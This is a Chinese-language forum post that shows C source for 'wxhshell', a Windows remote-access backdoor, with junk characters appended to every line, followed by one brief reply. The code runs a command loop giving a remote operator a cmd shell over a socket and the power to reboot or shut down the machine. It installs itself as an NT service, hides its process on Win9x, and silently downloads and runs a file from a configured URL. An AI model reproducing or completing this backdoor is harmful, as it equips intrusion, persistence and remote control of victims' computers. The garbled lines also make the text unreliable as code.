  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|rh~;:jUX  
  else {OHaI ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M1(+_W`  
  } 9I3vW]0x[  
  else { d8l T+MS=  
$ {29[hO  
    switch(cmd[0]) { |ymw])L  
  k e$g[g  
  // 帮助 t[>y=89  
  case '?': { 1u4)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'F3cvpc`  
    break; D vG9(Eh  
  } QU0FeGtz  
  // 安装 ]&l.-0jt  
  case 'i': { J=QuZwt  
    if(Install()) 2M`]nAk2a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~zdHJ8tYp  
    else $$my,:nH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <_X`D4g]XO  
    break; !V|%n(O"  
    } v X=zqV  
  // 卸载 5}J|YKyP  
  case 'r': { 34k}7k~n  
    if(Uninstall()) )a:j_jy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ U/[n\oC  
    else \^=Wp'5R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ur^~fW1 o  
    break; j SLC L'  
    } +n#(QOz  
  // 显示 wxhshell 所在路径 %Ot2bhK;  
  case 'p': { IB~`Ht8 b  
    char svExeFile[MAX_PATH]; C)w11$.YQ9  
    strcpy(svExeFile,"\n\r"); Cso!VdCX  
      strcat(svExeFile,ExeFile); s{I Xth6  
        send(wsh,svExeFile,strlen(svExeFile),0); 6g\SJ O-;N  
    break; tG1,AkyZ  
    } 3aMfZa<=  
  // 重启 g.3 . C?  
  case 'b': { v.eNWp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cT8b$P5w  
    if(Boot(REBOOT)) R4xoc;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rLt`=bl&&U  
    else { 0MV^-M   
    closesocket(wsh); 3I|&}+Z6  
    ExitThread(0); O3U6"{yJ)  
    } : z=C   
    break; ^Rgm3?7  
    } "S#}iYp  
  // 关机 ^Kvbpi,  
  case 'd': { :`FL95  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iF.eBL%  
    if(Boot(SHUTDOWN)) 0I|IL]JL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |$$gj[+^  
    else { #. mc+n:I  
    closesocket(wsh); D%PrwfR  
    ExitThread(0); r&^LSTU0!  
    } &c;@u?:@S  
    break; 3$c Im+  
    } CYIp 3D'k  
  // 获取shell uU_0t;oR3  
  case 's': { l| / tKW  
    CmdShell(wsh); y^M ~zOe  
    closesocket(wsh); qs$%/  
    ExitThread(0); < 0S+[7S"  
    break; jt({@;sU[<  
  } q(tdBd'o6  
  // 退出 K|"97{*|2  
  case 'x': { UG)XA-ez  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a[Q\8<  
    CloseIt(wsh); @I\&-Z ^  
    break; gEWKM(5B}  
    } ^]iIvIp  
  // 离开 G@4ro<  
  case 'q': { {|Ew]Wq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6 [q<%wA  
    closesocket(wsh); @fDWp/  
    WSACleanup(); ZS\ jbii8  
    exit(1); K YSyz)M}  
    break; ~ NO9s  
        } YA7h! %52)  
  } ([Gb]0  
  } O\=U'6 @  
pn},ovR;  
  // 提示信息 "O`{QVg:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AsBep  
} *rs@6BSj  
  } y.KFz9Qv  
nEtG(^N  
  return; "rV-D1Dki  
} fn6;  
7/p&]0w  
// shell模块句柄 wHGiN9A+  
int CmdShell(SOCKET sock) F*&A=@/3  
{ -ahSFBZlg  
STARTUPINFO si; fSe$w#*I  
ZeroMemory(&si,sizeof(si)); /}%$fB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p i ;,?p-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Idq &0<I  
PROCESS_INFORMATION ProcessInfo; BhO*Pfs  
char cmdline[]="cmd"; 3<5E254N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _?9|0>]xG  
  return 0; m@|0iDS  
} #>I*c _-  
Im7t8XCG  
// 自身启动模式 RyI(6TZl  
int StartFromService(void) 0?]Y^:  
{ $L~?!u&N  
typedef struct J>H$4t#HX  
{ i{#5=np H  
  DWORD ExitStatus; ^jY'Hj.Bs  
  DWORD PebBaseAddress; RnvPqNs  
  DWORD AffinityMask; xY3 KKje  
  DWORD BasePriority; pS1f y]  
  ULONG UniqueProcessId; z#$>f*b  
  ULONG InheritedFromUniqueProcessId; PL+j;V(<  
}   PROCESS_BASIC_INFORMATION; L4fM?{Ic:s  
8T:?C~"  
PROCNTQSIP NtQueryInformationProcess; x.=Np\#\G-  
`s0`kp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RW4}n< 88  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \Lp|S:u  
TFIP>$*_C  
  HANDLE             hProcess; (?9@nS  
  PROCESS_BASIC_INFORMATION pbi; })I_@\q  
WFl, u!"A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0|1)cO}Dy  
  if(NULL == hInst ) return 0; ~OuKewr\  
i,[S1g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )oEHE7y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # :^aE|s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (qf%,F,_L  
-?m"+mUP  
  if (!NtQueryInformationProcess) return 0; [Pn(d[$z  
-i,=sZXB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [,s{/32s  
  if(!hProcess) return 0; /QA:`_</oh  
O{4G'CgN(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; **oa R  
=/ b2e\  
  CloseHandle(hProcess); ~,*=j~#h  
\`FpBE_e)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :A~6Gk92A  
if(hProcess==NULL) return 0; x] e &G!|  
\yQs[l%J  
HMODULE hMod; j %3wD2 l  
char procName[255]; =vd9mb-  
unsigned long cbNeeded; LSX;|#AI  
w1#1s|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6RA4@bIG  
uBr^TM$k&  
  CloseHandle(hProcess); 4[& L<D6h  
DlD;rL=  
if(strstr(procName,"services")) return 1; // 以服务启动 +7`7cOqXg  
e-4 Qw #cw  
  return 0; // 注册表启动 jcC "S qL  
} K!L0|W H%!  
C(4r>TNm  
// 主模块 q6A"+w,N  
int StartWxhshell(LPSTR lpCmdLine) vs*Q {  
{ u3[A~V|0=  
  SOCKET wsl; ^V5VRGq  
BOOL val=TRUE; +!@@55I-  
  int port=0; pGwBhZnb>  
  struct sockaddr_in door; HVG:q#=C  
` oPUf!  
  if(wscfg.ws_autoins) Install(); Cyn_UE  
O/N Ed)H!  
port=atoi(lpCmdLine); u{Rgk:bn  
[ST,/<?0  
if(port<=0) port=wscfg.ws_port; "\CUHr9k  
L/39<&W  
  WSADATA data; )0tq&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZcP/rT3{^  
x/)o'#d$|l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :!cNkJa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z(~v{c %<  
  door.sin_family = AF_INET; aR c2#:~;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n _H]*~4F  
  door.sin_port = htons(port); qs Uob   
ML)5nJD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +~ZFao qf  
closesocket(wsl); V1d{E 0lM  
return 1; #_U[ T  
} [VL+X^  
>3,t`Z:  
  if(listen(wsl,2) == INVALID_SOCKET) { ;oT!\$Mu  
closesocket(wsl); fRow@DI\  
return 1; }zE Qrfl  
} asLvJ{d8s  
  Wxhshell(wsl); p10i_<J]=  
  WSACleanup(); ]K^#'[  
5(qc_~p^  
return 0; 5@3hb]J  
IT5a/;J  
} Y!0ZwwW  
=0" Zse,  
// 以NT服务方式启动 M{   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \c .^^8r  
{ tl@n}   
DWORD   status = 0; dJYW8pcKT  
  DWORD   specificError = 0xfffffff; [\|p~Qb)s  
ymr#OP$<S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y(2FaTjM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zF-M9f$_PY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B}|(/a@*  
  serviceStatus.dwWin32ExitCode     = 0; ~A-1x!YiU  
  serviceStatus.dwServiceSpecificExitCode = 0; V]fsjpvlmr  
  serviceStatus.dwCheckPoint       = 0; :TTZ@ q  
  serviceStatus.dwWaitHint       = 0; 'UN 'gXny  
Scfk] DT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O.+02C_*  
  if (hServiceStatusHandle==0) return; o$[alh;c+W  
9-6E(D-ux  
status = GetLastError(); _(&XqEX  
  if (status!=NO_ERROR) oDvE0"Sz  
{ "A0J~YvYWJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P m}  
    serviceStatus.dwCheckPoint       = 0; >i:h dcxe  
    serviceStatus.dwWaitHint       = 0; /E|Ac&Qk  
    serviceStatus.dwWin32ExitCode     = status; O&( @Ka  
    serviceStatus.dwServiceSpecificExitCode = specificError; /#]4lFk:h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XSDudL  
    return; 5kju{2`GF  
  } m@2;9  
k5X& |L/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kz`g Q|S  
  serviceStatus.dwCheckPoint       = 0; D3MRRv#  
  serviceStatus.dwWaitHint       = 0; ? 016  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zwEZ?m!  
} nsM :\t+ p  
WXgGB[x  
// 处理NT服务事件,比如:启动、停止 gWZzOH*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ',g'Tl^E  
{ G&?,L:^t  
switch(fdwControl) ^]A,Q%1q^  
{ ra[*E4P9L*  
case SERVICE_CONTROL_STOP: _,C>+dv)  
  serviceStatus.dwWin32ExitCode = 0; ,^#{k!uaC{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `r$c53|<u  
  serviceStatus.dwCheckPoint   = 0; u+ ?Wm40E  
  serviceStatus.dwWaitHint     = 0; O 6}eV^y  
  { .dvOUt I[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y))) {X  
  } I6B`G Im5  
  return; $QB~ x{v@n  
case SERVICE_CONTROL_PAUSE: ]@rt/ eX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {0t-Q k  
  break; SJXA  
case SERVICE_CONTROL_CONTINUE: 6k@(7Mw8A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8:=EA3  
  break; m\];.Da  
case SERVICE_CONTROL_INTERROGATE: *Mg. * N  
  break; &LD=Zp%  
}; Ld?-Ik~fF>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ rB7&96C,  
} -? |-ux  
(> {CwtH][  
// 标准应用程序主函数 MS~|F^g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mTsl"A>  
{ A3Lfh6O  
?;dfA/  
// 获取操作系统版本 5,,b>Z<  
OsIsNt=GetOsVer(); S.#IC lV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2 u{"R  
W_sAk~uK/  
  // 从命令行安装 {}W9m)I  
  if(strpbrk(lpCmdLine,"iI")) Install(); *co=<g]4KY  
\`!M5FJ  
  // 下载执行文件 -x)zyq6  
if(wscfg.ws_downexe) { F.%g_Xvk:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M]RbaXZ9  
  WinExec(wscfg.ws_filenam,SW_HIDE); i3s,C;7[2  
} "kHQ}#6r  
5^}"Tn4I  
if(!OsIsNt) { -q}c;0vL-a  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z^ e?V7q  
HideProc(); }z$_=v  
StartWxhshell(lpCmdLine); =DT7]fU  
} :k"VR,riF  
else ]0+5@c  
  if(StartFromService()) r@XH=[:  
  // 以服务方式启动 uzA_Zjx  
  StartServiceCtrlDispatcher(DispatchTable); %~`y82r6  
else Pl>S1  
  // 普通方式启动 eVVm"96Q.;  
  StartWxhshell(lpCmdLine); Jbmi[` O  
S5W*,?  
return 0; `h:$3a:5  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八